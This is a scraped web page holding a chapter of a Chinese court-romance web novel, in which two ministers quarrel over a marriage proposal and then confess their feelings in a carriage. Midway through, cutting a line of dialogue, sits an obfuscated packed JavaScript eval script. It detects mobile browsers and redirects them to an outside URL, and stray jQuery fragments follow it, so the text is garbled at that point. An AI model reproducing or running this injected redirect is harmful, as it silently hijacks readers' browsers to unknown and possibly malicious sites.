默认冷灰
24号文字
方正启体

30. 醋

作者:又生本书字数:K更新时间:
    陆洗道:“只不过什么?”


    林倜道:“下官虽然想做这事,怕就怕得罪郑国公,浙东织染局下设三个官局他家掌控两个,江宁织染局他家更是一手遮天,上至染坊和缫练坊,下至桑林养殖,无不有他家的人看着。”


    陆洗拍去手上的灰:“这就不用你操心,你该考虑的是将来如何向你二哥坦白。”


    林倜闻言,唰的一下脸红了。


    “不行不行,何时都不能坦白,这些年我做的事没有一件让他知道的。”林倜摇头道,“你也千万别告诉他,他那人刻板,倘若知道非得摁死不可。”


    陆洗笑叹:“纸包不住火,若你主动跟他坦白,顶多挨两句骂,你们打断骨头还连着筋,可若是等他自己发现,我就成了那该杀千刀的小人,解释不清了。”


    林倜一愣,脱口而出:“你和他老死不相往来,有什么好解释?”


    陆洗的笑容僵了片刻,心有所感。


    他总算知道为什么林佩把林倜扔在外地六年不管不顾,原来还是个毛头小子。


    但现在他要兴商利工,谋篇布局已有于染的《十策》做指导,落到实处则正需要这毛头小子身上的一股冲劲。


    *


    申时,钟鼓齐鸣,宫宴接近尾声。


    陆洗走在路上,一心想去找那另一件蟒袍,忽又被郑国公府来说亲的门人节外生枝,以鉴赏缂丝画为名让他在长廊与姚家小娘子不期而遇。


    姚家小娘子穿着一袭海棠色的裙子,乌云叠鬓,妆容姣好。


    陆洗见躲不过,隔着漏窗站下,开口便是一句:“姑娘今年多大?”


    小娘子堂堂国公嫡女,本以为对方会与自己交流画艺,却被这话吓了一跳。


    陆洗笑一笑,开门见山:“要出阁了,也该知道世情险恶了,姑娘,令尊之所以想让你下嫁陆某,不是陆某有什么过人之处,而是拿你抵府上欠的债。”


    小娘子举起团扇遮掩面容。


    陆洗的目光落在窗台。


    小娘子道:“右相何出此言?”


    陆洗道:“姑娘只当听一个故事,早年大湖织染局奉皇命赶制三色锦,令尊为排挤陆某,暗中买通匠人用生丝充熟丝,便是这一手害陆某亏损数万两白银,被宫里问罪,可那时陆某身在地方,人微言轻,岂敢告国公府的状?只能临时去找别人借,四拼八凑的才补交了差。”


    小娘子抿了抿唇,没有说话,眼泪开始在眶中打转。


    陆洗看不见,也并没有安抚的意思,直言道:“如今陆某有的是手段报当年之仇,所以奉劝姑娘一句,嫁谁都不要嫁陆某,你的嫁妆抵不了你府上欠的债。”


    一滴泪珠从小娘子的眸中滚落。


    陆洗把话说完就走了,快刀斩乱麻,根本不给姚家人追来打自己的机会。


    碰巧林佩和李良夜谈完话回来,正过画廊,便撞见了陆洗与姚家小娘子隔着漏窗说话。


    李良夜道:“右相真是左右逢源,不知这又与哪家千金话良缘。”


    林佩没有说话。


    至此,正旦庆典的所有仪式流程完毕。


    这一日没做什么正事,只是庆贺新年、领赏谢恩、应酬交际。


    奉天殿前,群臣再次叩拜皇帝,按序退出皇宫。


    丝竹雅乐渐渐远去。


    承天门往南望,可遥见南淮河上飘浮的雾气。


    “诶,诶诶。”陆洗不知道林佩等了多久,还以为刚赶上,“你怎么不等我,我俩一起走。”


    两个影子越来越近,终于在宫门前贴在了一起。


    陆洗道:“宫里太闹腾,来不及说话,你搭我的车可好?”


    林佩道:“不好。”


    陆洗笑道:“那我坐你的车一起走。”


    林佩道:“你这人怎么没脸没皮的。”


    陆洗看着三三两两离去的官员,说道:“朝野上下皆以为我俩不和,今时不同往日,我俩的关系也要变一变,至少做到表面和睦,才不至于叫下头办事的为难,你说可对?”


    林佩道:“日久见人心,装不出来。”


    林府有两架马车,小马车日常用,大马车上朝用。


    上朝用的这架马车按一品官员的规制,外部装饰螭绣青缦,内部也是极宽敞的。


    林佩和陆洗并肩坐在车里。


    青缦剪碎西斜的阳光,丝丝缕缕拂过二人面庞。


    起初很安静。


    陆洗虽是春风得意,但适才几句话之间觉出林佩有些情绪,不敢得寸进尺。


    林佩不知怎么,许是那盏太禧白的后劲儿还没过,许是那颗话梅的味道太酸,本来无事,只是一想到陆洗与姚家那位貌美如花的姑娘说悄悄话的场景,心里就像有蚂蚁在爬。


    他自知不该多管闲事,可就是抑制不住地想管。


    “陆大人。”林佩捂着暖炉,审问道,“你是不是有事瞒我。”


    陆洗从袖子里拿出一包糕点,边抽解绳节,边思考原因。


    他以为林佩是看到了他和林倜见面说话的场景,但转念一想,当时河边视野开阔,即便被远远看见,也应该听不清谈的内容。


    陆洗道:“我们之前见过一两面,寒暄而已。”


    林佩吸口气:“人家还未出阁,你就见过两回了?”


    陆洗闻言,怔了怔,眼里立刻浮现出笑意。


    原来问的是姚家小娘子,那不急着解释,饿了一天,先安心吃两口再说。


    山楂酸甜的气息弥漫开来。


    “知言啊。”陆洗道,“你又又误会我了。”


    “我也不想误会。”林佩斜睇一眼,往边上坐,“敢情你这人见一样爱一样,就做你的多情郎君去,又何苦陪着我雪夜敲竹,与我说那些似是而非的话。”


    “谁似是而非了,你要听,我便说的明明白白。”陆洗道,“你我这样的年纪,见过世间利来利往,更当知真情难得,你什么都比我好,只一点不如我,你弄不清自己心里想要的东西。”


    林佩觉得喉咙发酸,吞咽了一下。


    陆洗道:“林知言,因为你是吴老丞相的门生,所以第一次议事我就愿意信你,然而朝会之上你骗我,郑冉的案子你又遮遮掩掩,我险些以为你和其他人也没什么两样。”


    细麻绳挂在纸包上,随着马车颠簸摇摇晃晃。


    “可你称病之后留下的那个箩筐那些文书,又真正让我见识到什么叫不计名利,什么叫心怀四海,我真是欣喜若狂,不枉这半生攀山涉水,总算遇到一个可以交心的人。”


    纸包散开,掉出几块糕渣。


    陆洗俯身去捡:“我对你有情,可又不能说什么过分的话,怕把你惊着,怕你心里还有别人,直到在平北与鞑靼数十万大军对峙之际,你那一句‘物触轻舟心自知’实在是把我心中这团火点了起来,我想不行,即便你心里有别人,我也要把别人挤走。”


    陆洗把碎散的糕点渣子重新包好:“我心悦于你久矣,这样够不够清楚明白?”


    “可我不悦。”林佩避开目光,埋怨道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749287|174260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“尤其你这样,一边吃着我教你做的糕点,一边说着和别人家姑娘的往来是非,叫我如何心悦?”


    陆洗笑了一声,连着反问:"敲竹那天夜里不是你说不想给彼此添负担的吗?现在看我跟别人说句话都不行?咱们是什么关系了你便这样管我?"


    林佩忽觉暖炉有些烫手。


    爆竹声在街口噼啪作响。


    马车驶入人间烟火之中,孩童欢闹嬉笑,倩女当窗顾盼,郎君牵马过街。


    车厢里的气氛起了一丝暧昧。


    “好了,别生气了。”陆洗把暖炉拿开,抽出帕子擦拭林佩手心的汗,“君子论迹不论心,此时解释都是多余,往后你看我如何做便是。”


    林佩道:“这事是我不好,说不给彼此添负担,却先对你发难。”


    陆洗道:“成天见你雅量玄平静著书,偶然一回倚门回首却把青梅嗅,倒也别有韵味。”


    林佩道:“以后休要这样,宫宴之上多少双眼睛,被有心的人看见指不定拿去做什么文章。”


    陆洗道:“瞧瞧又管上了,这么忍不住,还说对我没有情。”


    马车轮碾过石块颠簸了一下。


    林佩往后倒,腰突然被一只胳膊环住,扑面而来对方身上的柏子香。


    陆洗道:“当心。”


    林佩抬起眼,眼瞳微微震动。


    风月情事在他心中一向是朦胧含糊的,但就这样看着陆洗,居然立刻变得具象清晰。


    两袭绯袍交叠。


    刺绣蟒纹纠缠在一起,丝光流动。


    林佩胸膛起伏:“做什么,我不用……”


    系带抽拉,气息交错。


    “你的梁冠歪了。”陆洗轻笑,扶林佩起来,“我帮你重新戴。”


    东长安街的街口,马车停下。


    从外面只能看见青缦左右摆动。


    “后园那扇小门之前挂着一个铃铛,是专门为你而留的。”陆洗说得很认真,“往后你想见我,只要这样叮叮叮——三声响。”


    林佩没敢认真听,冷回道:“下去,别逼我喊人。”


    陆洗倒也没讨价还价,捋好衣衫,回头拍一拍坐垫就走了。


    街上人流如织,车水马龙。


    花厅画楼声声管弦,佳人声娇语软。


    帘子掀起的一瞬间,叫卖声、欢笑声、锣鼓声如潮水涌来。


    林佩目送着陆洗坐另一架马车远去,些许回味,些许错愕。


    几十年的人生光阴之中没有一个人敢像这样对他大胆妄为。


    他当然知道陆洗是什么样的人,嘴上说不纠缠,实际是一处破绽都不会放过。


    他只是讶异于自己身体的反应。


    他对陆洗的确是有情欲的。


    这种情欲不是出于气性相投,而是对截然不同的人生经历的好奇,就像从小到大吃的都是米糕,有天路过肉铺,突然嗅到了一抹诱人的咸香。


    *


    正旦过后,天气回暖。


    千步廊上的官署忙碌起来。


    林佩初三回文辉阁办公,温迎比他晚三日,其余郎中舍人在初十之前陆续到位。


    相比于一年之前略显混乱的局面,而今朝中官员自发地形成了某种秩序。


    涉及工业、商业、市税、关税以及北边的外交和军防,就去右侧屋找陆洗;


    涉及一般赋税、礼教、考功、刑律以及日常公文流转,就来左侧屋找林佩。


    是日,各部堂官来议调整赋税之事。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)